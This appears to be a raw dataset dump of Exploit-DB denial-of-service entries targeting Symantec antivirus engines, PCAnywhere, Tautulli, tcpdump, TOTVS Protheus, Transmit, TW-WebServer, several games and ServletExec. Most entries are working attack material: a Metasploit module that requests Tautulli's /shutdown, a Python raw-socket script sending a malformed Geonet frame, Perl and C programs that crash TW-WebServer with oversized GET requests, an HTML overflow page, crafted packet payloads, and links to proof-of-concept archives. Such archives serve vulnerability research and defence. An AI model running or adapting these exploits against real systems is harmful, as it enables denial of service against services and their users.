deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40036
Description: Symantec AntiVirus - Missing Bounds Checks in dec2zip ALPkOldFormatDecompressor::UnShrink
Type: dos
Platform: multiple
Date: 2016-06-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=821

A major component of the Symantec Antivirus scan engine is the "Decomposer", responsible for unpacking various archive formats such as ZIP, RAR, and so on. The decomposer runs as NT AUTHORITY\SYSTEM on Windows, and root on Linux and Mac. Simple fuzzing of zip archives discovered missing bounds checks in the routine ALPkOldFormatDecompressor::UnShrink, used to decode Zip archives. 

The routine uses a 16bit value read from the file to index a 256 element array without any bounds checking, the attached testcase should demonstrate this reliably. I have verified this on the following products:

    Norton Antivirus, Windows
    Symantec Endpoint Protection, Linux and Windows
    Symantec Scan Engine, Linux and Windows


(534.700): Access violation - code c0000005 (!!! second chance !!!)
eax=00003000 ebx=00003000 ecx=00003000 edx=00002000 esi=16adeb58 edi=16ad8b1b
eip=6ba47ec3 esp=16ad6af0 ebp=16adeb20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ccScanw!filelengthi64+0x3af63:
6ba47ec3 66399445fcbfffff cmp     word ptr [ebp+eax*2-4004h],dx ss:002b:16ae0b1c=????
0:071> ub
ccScanw!filelengthi64+0x3af3f:
6ba47e9f 8bb5ec7fffff    mov     esi,dword ptr [ebp-8014h]
6ba47ea5 8bc7            mov     eax,edi
6ba47ea7 8985e07fffff    mov     dword ptr [ebp-8020h],eax
6ba47ead e96d010000      jmp     ccScanw!filelengthi64+0x3b0bf (6ba4801f)
6ba47eb2 0fbfc3          movsx   eax,bx
6ba47eb5 ba00200000      mov     edx,2000h
6ba47eba 8dbdfb9fffff    lea     edi,[ebp-6005h]
6ba47ec0 0fb7cb          movzx   ecx,bx
0:071> lmv m ccScanw
start    end        module name
6b930000 6bb5f000   ccScanw    (export symbols)       C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Loaded symbol image file: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image path: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image name: ccScanw.dll
    Timestamp:        Tue Jan 26 13:51:55 2016 (56A7EA7B)
    CheckSum:         0022B3ED
    ImageSize:        0022F000
    File version:     13.1.2.19
    Product version:  13.1.2.19
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00[PII_REDACTED]0000
    Translations:     0409.04b0
    CompanyName:      Symantec Corporation
    ProductName:      Symantec Security Technologies
    InternalName:     ccScan
    OriginalFilename: CCSCAN.DLL
    ProductVersion:   13.1.2.19
    FileVersion:      13.1.2.19
    FileDescription:  Symantec Scan Engine
    LegalCopyright:   Copyright (c) 2015 Symantec Corporation. All rights reserved.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40036.zip
Exploit-DB #40035
Description: Symantec AntiVirus - TNEF Decoder Integer Overflow
Type: dos
Platform: multiple
Date: 2016-06-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=819

Simple fuzzing found an integer overflow in the dec2tnef library. This allocation from Attachment::setDataFromAttachment() doesn't verify that the attacker controlled value doesn't wrap:

.text:000227B8 8D 42 01                       lea     eax, [edx+1]
.text:000227BB 89 85 68 FF FF+                mov     [ebp+var_98], eax
.text:000227C1 8B 83 CC FF FF+                mov     eax, ds:(_ZSt7nothrow_ptr - 42CFCh)[ebx]
.text:000227C7 89 44 24 04                    mov     [esp+4], eax
.text:000227CB 8B 85 68 FF FF+                mov     eax, [ebp+var_98]
.text:000227D1 C1 E0 02                       shl     eax, 2
.text:000227D4 89 04 24                       mov     [esp], eax
.text:000227D7 89 95 5C FF FF+                mov     [ebp+src], edx
.text:000227DD 89 8D 58 FF FF+                mov     [ebp+var_A8], ecx
.text:000227E3 E8 54 22 FE FF                 call    __ZnajRKSt9nothrow_t ; operator new[](uint,std::nothrow_t const&)

That's (count + 1) * 4, without any checking that will succeed. The attached testcase reaches this code on Symantec Scan Engine, I'm not sure which other products use this code.

(gdb) bt
#1  0x07e88816 in Attachment::setDataFromAttachment(Item&) () from definitions/Decomposer/libdec2tnef.so
#2  0x07e88abc in Attachment::setAttribute(Item&) () from definitions/Decomposer/libdec2tnef.so
#3  0x07e8a1b4 in TNEFObject::getAttachments(_IO_FILE*, MList&) () from definitions/Decomposer/libdec2tnef.so
#4  0x07e6c1d6 in CTNEFArchive::Open(char const*) () from definitions/Decomposer/libdec2tnef.so
#5  0x07e6ae5f in CTNEFEngine::OpenArchive(CTNEFArchive*, bool*) () from definitions/Decomposer/libdec2tnef.so
#6  0x07e6b8c0 in CTNEFEngine::Process(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, bool*, bool*) () from definitions/Decomposer/libdec2tnef.so
#7  0x063d07b5 in CDecomposer::DecProcess(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () 
#8  0x063d13cb in CDecomposer::Process(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) ()


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40035.zip
Exploit-DB #19230
Description: Symantec PCAnywhere32 8.0 - Denial of Service
Type: dos
Platform: multiple
Date: 1999-05-11
Author: Chris Radigan

Exploit:
source: https://www.securityfocus.com/bid/288/info

Servers running PCAnywhere32 with TCP/IP networking are subject to a Denial of Service attack that will hang the server at 100% CPU utilization. A malicious user may initiate this DoS by connecting to tcp port 5631 on the PCAnywhere server input a large amount of data when prompted with "Please press <Enter>".

Connect to tcp 5631. At the Please press <Enter> prompt, transfer a large amount of data to the PCAnywhere server. This will peg the CPU utilization at 100%.
Exploit-DB #40405
Description: Symantec RAR Decomposer Engine (Multiple Products) - Out-of-Bounds Read / Out-of-Bounds Write
Type: dos
Platform: multiple
Date: 2016-09-21
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=867

In issue 810 we pointed out to Symantec that they hadn't updated their unrar based unpacker for years, and it was vulnerable to dozens of publicly documented flaws.

I had expected Symantec to rebase on 5.4.2 (the latest version as of this writing), but they appear to have just backported fixes for the few issues I sent them.

Here are two known bugs in unrar that are fixed upstream, but not in Symantec's ancient code. If they continue to refuse to rebase, this might take a few iterations to shake the bugs out. Sigh.

As in issue 810, these are remote code execution vulnerabilities at the highest possible privilege level.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40405.zip
Exploit-DB #23805
Description: Targem Games Battle Mages 1.0 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-03-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9849/info

The Battle Mages game server has been reported to be prone to a remote denial of service vulnerability. The issue is reported to present itself when the server receives incomplete client data. Specifically the affected server will attempt to read the expected data size infinitely until it is received, this may allow a remote attacker to tie up server resources and effectively deny service to legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23805-1.rar

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23805-2.rar
Exploit-DB #47929
Description: Tautulli 2.1.9 - Denial of Service (Metasploit)
Type: dos
Platform: multiple
Date: 2020-01-16
Author: Ismail Tasdelen

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(
      'Name'        => 'Tautulli v2.1.9 - Shutdown Denial of Service',
      'Description' => 'Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the /shutdown URL.',
      'Author'      => 'Ismail Tasdelen',
      'License'     => MSF_LICENSE,
      'References'  =>
      [
        ['CVE', '2019-19833'],
        ['EDB', '47785']
      ]
    )
    register_options([ Opt::RPORT(8181) ])
  end

  def run
    res = send_request_raw({
      'method' => 'GET',
      'uri' => '/shutdown'
    })

    if res
      print_status("Request sent to #{rhost}")
    else
      print_status("No reply from #{rhost}")
    end
  rescue Errno::ECONNRESET
    print_status('Connection reset')
  end
end
Exploit-DB #35359
Description: tcpdump 4.6.2 - Geonet Decoder Denial of Service
Type: dos
Platform: multiple
Date: 2014-11-24
Author: Steffen Bauch

Exploit:
CVE-2014-8768 tcpdump denial of service in verbose mode using malformed 
Geonet payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user 
to intercept and display TCP/IP and other packets being transmitted or 
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (Geonet-based) can lead 
to an application crash (denial of service) if verbose output of tcpdump 
monitoring the network is used.

3. Technical Description

The application decoder for the geonet protocol fails to perform 
external input validation and performs insufficient checking on length 
computations leading to an unsafe decrement and underflow in the function

geonet_print(netdissect_options *ndo, const u_char *eth, const u_char 
*bp, u_int length)

The affected variable is length which is later on used to print a memory 
chunk which eventually leads to a segfault. The function contains 
several unsafe computations updating the length variable.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on 
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network 
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

geonet_frame = 
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"

s.send(geonet_frame)

4. Affected versions

Affected versions are 4.5.0 through 4.6.2

(segfaults were reproducible in versions up to 4.6.1 on Ubuntu 14.04, 
but not reliably in 4.6.2. Code audit showed that unsafe computations 
are performed in 4.6.2, but the trigger frame might need to look different).

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop 
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.
Exploit-DB #35613
Description: TOTVS ERP Microsiga Protheus 8/10 - Memory Corruption (Denial of Service)
Type: dos
Platform: multiple
Date: 2011-04-13
Author: waKKu

Exploit:
source: https://www.securityfocus.com/bid/47342/info

TOTVS ERP Microsiga Protheus is prone to a denial-of-service vulnerability due to a memory-corruption issue.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; however, this has not been confirmed. 

--- CODE SNIPPET BEGIN ---
if options.target == 8:
      version = "[PII_REDACTED]0344"
else:
      version = "[PII_REDACTED]0605"

packet_handshake = (
      "%14s"
      "\x00\x01"
      "%36s\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "%32s\x00"
      "%s\x00"
      "\x00\x00\x14\x01"
) % ("A"*14, "B"*36, "C"*32, version)

packet_environ = (
      "\x42\x00\x00\x00\x21\xab\x42\x00\x00\x00"
      "\xff\xff\xff\xff" # Memory Corruption (-1 as size)
#      "\x38\x00\x00\x00" # OK (56 bytes)
      "\x01\x00\x3e\x82\x01\x03\x02\x04\x00\x00"
      "\x00\x00%7s\x00\x00\x00\x00\x00\x00"
      "%11s\x00\x00\x00\x00\x00\x00"
      "\x01\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00"
) % ("D"*7, "E"*11)
--- CODE SNIPPET END ---
Exploit-DB #33105
Description: TrackMania 2.11.11 - Multiple Remote Vulnerabilities
Type: dos
Platform: multiple
Date: 2009-06-27
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/35807/info

TrackMania is prone to multiple vulnerabilities.

Successful exploits may allow attackers to execute arbitrary code with the privileges of a user running the software or cause denial-of-service conditions.

This issue affects the following:

TrackMania Nations Forever 2.11.11
TrackMania United Forever 2.11.11 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33105.zip
Exploit-DB #29502
Description: Transmit 3.5.5 - Remote Heap Overflow
Type: dos
Platform: multiple
Date: 2007-01-20
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/22145/info

Transmit 3 is prone to a heap-overflow vulnerability because it fails to perform sufficient boundary checks on user-supplied data before copying it to a buffer.

An attacker could leverage this issue to have arbitrary code execute with administrative privileges. A successful exploit could result in the complete compromise of the affected system.

Transmit 3 version 3.5.5 and prior are reported vulnerable. 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
	<head>
		<title>MOAB-19-01-2007</title>
		<script>
			function boom() {
			    var recipient = document.getElementById('testbox');
				var str = '';
				for (var i = 0; i < 408; i++) {
				    str = str + 'A'
				}
				str = str + 'ABCD';
				
				alert('Payload size: ' + str.length);
				
				str = "ftps://" + str;
				ftarget = document.createElement('iframe');
				ftarget.src = str;
				ftarget.width = 1;
				ftarget.height = 1;
				recipient.appendChild(ftarget);
			}
		</script>
	</head>
	<body>
	    <div id="testbox" style="display: none;"></div>
		<input type="button" onclick="boom();" value="Test MOAB-19-01-2007" />

	</body>
</html>
Exploit-DB #22502
Description: TW-WebServer 1.0 - Denial of Service (1)
Type: dos
Platform: multiple
Date: 2003-04-15
Author: badpack3t

Exploit:
source: https://www.securityfocus.com/bid/7368/info

It has been reported that TW-WebServer is prone to a denial of service vulnerability. Reportedly when an excessive quantity of data is sent to the TW-Webserver as part of a malicious HTTP GET request the server will fail.

Although unconfirmed, due to the nature of this vulnerability, an attacker may have the ability to supply and execute arbitrary code. 

#!/usr/bin/perl
#
# Twilight Utilities TW-WebServer/1,3,2,0 
#
# Vulnerable systems:
# TW-WebServer/1, 3, 2, 0
# 
# Written by badpack3t <badpack3t@security-protocols.com>
# For SP Research Labs
# 04/15/2003
# 
# www.security-protocols.com
# 
# usage: 
# perl sp-urfuqed.pl <target> <port>
#
# big ups 2: acidjazz, #havoc, regulate, cr0wn, mp, lopt, 
# aitek5, rab, #darknet, dvdman, bind, and whoever the f else.

use IO::Socket;
use strict;

print ".:."x 20; print "\nTW-WebServer/1, 3, 2, 0 DoS, <badpack3t\@security-protocols.com>\n";
print ".:."x 20; print "\n\n";

if(!defined($ARGV[0] && $ARGV[1]))
{
   &usage;
}

my $host     = $ARGV[0];
my $def      = "A";
my $num	     = "4096";
my $port     = $ARGV[1];
my $urfuqed  = $def x $num;

my $tcpval   = getprotobyname('tcp');
my $serverIP = inet_aton($host);
my $serverAddr = sockaddr_in($ARGV[1], $serverIP);
my $protocol_name = "tcp";

my $iaddr    = inet_aton($host) 	   || die ("host was not found: $host");
my $paddr    = sockaddr_in($port, $iaddr)  || die ("you did something wrong stupid... exiting...");
my $proto    = getprotobyname('tcp')       || die ("cannot get protocol");
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die ("socket could not open: $host");
connect(SOCK, $paddr) 			   || die ("cannot connect to: $host");

my $submit   = "GET $urfuqed HTTP/1.0\r\n\r\n";   
send(SOCK,$submit,0);
close(SOCK);

sub usage {die("\n\nUsage: perl $0 <target_host> <port>\n\n");}

print "\n.:.:.:.:.:.:.:.:.:.:.:.";
print "\ncrash was successful ~!\n";
print "\.:.:.:.:.:.:.:.:.:.:.:.\n";
Exploit-DB #22503
Description: TW-WebServer 1.0 - Denial of Service (2)
Type: dos
Platform: multiple
Date: 2003-04-16
Author: Shashank pandey

Exploit:
// source: https://www.securityfocus.com/bid/7368/info
 
It has been reported that TW-WebServer is prone to a denial of service vulnerability. Reportedly when an excessive quantity of data is sent to the TW-Webserver as part of a malicious HTTP GET request the server will fail.
 
Although unconfirmed, due to the nature of this vulnerability, an attacker may have the ability to supply and execute arbitrary code. 

/*
    
 >> by Shashank pandey
  
  

 >>http://geekgroove.8m.com
 Twilight Utilities TW-WebServer/1,3,2,0 
#
# Vulnerable systems:
# TW-WebServer/1, 3, 2, 0
#
  
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
void graphitte()
{printf("\n---------------------------------- ");
 printf("\nTW-WebServer/1, 3, 2, 0 DoS tool  |  \n");
 printf("--------------------------------- |\n");
 printf("      by Shashank Pandey          |\n");
 printf("(reach_shash@linuxmail.org)       |\n"); 
 printf("---------------------------------- \n");
 
}
int main(int argc, char *argv[])
{
     
  WSADATA wsaData;
      
      
      
      
      int s;
  
  char trash[100];
  
struct hostent *yo;
   struct sockaddr_in heck;
  char buffer[4096] ="";
      char myrequest[5000];    
      
  
  
  graphitte();
       
     
    
if(WSAStartup(0x0101,&wsaData)!=0) {
      printf("Error :Cudn't initiate winsock!");
      return 0;
      }
if(argc<2)
{printf("Usage : %s I.P/Hostname\n\n",argv[0]);
  exit(0);}
  if ( (yo = gethostbyname(argv[1]))==0)
  {
    printf("error: can't resolve '%s'",argv[1]);
    return 1;
  }
printf("\nChecking web server %s\n",argv[1]);
      
   
  heck.sin_port = htons(80);
  heck.sin_family = AF_INET;
  heck.sin_addr = *((struct in_addr *)yo->h_addr);
  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("error: can't create socket");
    return 1;
  }
  
  if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
    printf("Error:Cudn't Connect\r\n");
    return 1;
  }
 
  
  
buffer[sizeof(buffer)]=0x00;
  memset(buffer,'S',sizeof(buffer));
  memset(myrequest,0,sizeof(myrequest));
      memset(trash,0,sizeof(trash));
      sprintf(myrequest,"GET %s HTTP/1.0\r\n\r\n",buffer);
      
      printf("\r\nTrying oveflow request... ");
      send(s,myrequest,strlen(myrequest),0);
      
      printf("Evil Request SENT\r\n");
      recv(s,trash,sizeof(trash),0);
      if(trash[0]==0x00) 
  {
      printf("Server Crashed :-) !.\r\n");
  
       
      } 
  
  else
      
  
  printf("Server is prolly patched.\r\n");
      
  closesocket(s);
  



WSACleanup();
    


}
Exploit-DB #34270
Description: Ubisoft Ghost Recon Advanced Warfighter - Integer Overflow / Array Indexing Overflow
Type: dos
Platform: multiple
Date: 2010-07-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41459/info

Ghost Recon Advanced Warfighter (GRAW) is prone to an integer-overflow vulnerability and an array-indexing-overflow vulnerability.

Successful exploits may allow attackers to cause denial-of-service conditions. Due to the nature of these issues, code-execution may also be possible, but this has not been confirmed.

GRAW 1.35 and GRAW 2 1.05 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14286.zip
Exploit-DB #4601
Description: Ubuntu 6.06 - DHCPd Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-11-02
Author: RoMaNSoFt

Exploit:
Ubuntu 6.06 DHCPd bug Remote Denial of Service Exploit
Author: RoMaNSoFt <roman@rs-labs.com>

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4601.tgz (1022007-DoS-CVE-2007-5365.tgz)

# milw0rm.com [2007-11-02]
Exploit-DB #20336
Description: Unify eWave ServletExec 3.0 c - Denial of Service
Type: dos
Platform: multiple
Date: 2000-10-30
Author: Foundstone Labs

Exploit:
source: https://www.securityfocus.com/bid/1868/info

Unify eWave ServletExec is a Java/Java Servlet engine plug-in for major web servers such as Microsoft IIS, Apache, Netscape Enterprise Server, etc.

eWave ServletExec is susceptible to a denial of service attack if a URL invoking the ServletExec servlet preceded by /servlet is requested. The ServletExec engine will attempt to bind a server thread over port 80 and if the web server is currently running, a java.net.BindException error will result thus halting all operations on the ServletExec engine. The web server is not affected by this vulnerability. Restarting the application is required in order to regain normal functionality.

http://target/servlet/ServletExec

or 

nc 10.0.0.1 80
GET /servlet/ServletExec HTTP/1.0